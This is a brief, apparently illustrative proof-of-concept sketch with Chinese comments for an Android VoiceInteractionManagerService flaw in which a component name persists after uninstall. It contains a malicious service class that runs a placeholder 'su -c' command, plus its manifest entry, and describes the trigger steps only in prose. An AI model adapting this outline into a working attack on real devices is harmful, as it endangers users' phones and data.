CVE-2025-48620

// CVE-2025-48620 PoC - Android VoiceInteractionManagerService逻辑漏洞 // 此PoC展示漏洞的基本原理 // 步骤1: 创建恶意的VoiceInteractionService组件 public class MaliciousVoiceInteractionService extends VoiceInteractionService { @Override public void onReady() { super.onReady(); // 恶意代码：执行特权操作 Runtime.getRuntime().exec("su -c <malicious_command>"); } } // 步骤2: 在AndroidManifest.xml中声明服务 /* <service android:name=".MaliciousVoiceInteractionService" android:permission="android.permission.BIND_VOICE_INTERACTION"> <intent-filter> <action android:name="android.service.voice.VoiceInteractionService" /> </intent-filter> <meta-data android:name="android.voice_interaction" android:resource="@xml/voice_interaction_service" /> </service> */ // 步骤3: 触发漏洞 - 应用卸载后组件信息仍然存在 // 由于onSomePackagesChanged的逻辑错误，组件名称持久化 // 步骤4: 触发残留组件执行 // 通过其他应用或系统事件触发已卸载应用的组件 // 关键点：onSomePackagesChanged方法需要修复以正确处理卸载事件
